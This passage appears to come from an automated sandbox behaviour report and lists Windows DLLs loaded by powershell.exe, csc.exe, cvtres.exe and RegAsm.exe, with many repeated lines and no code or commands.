Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: devenum.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msdmo.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mmdevapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
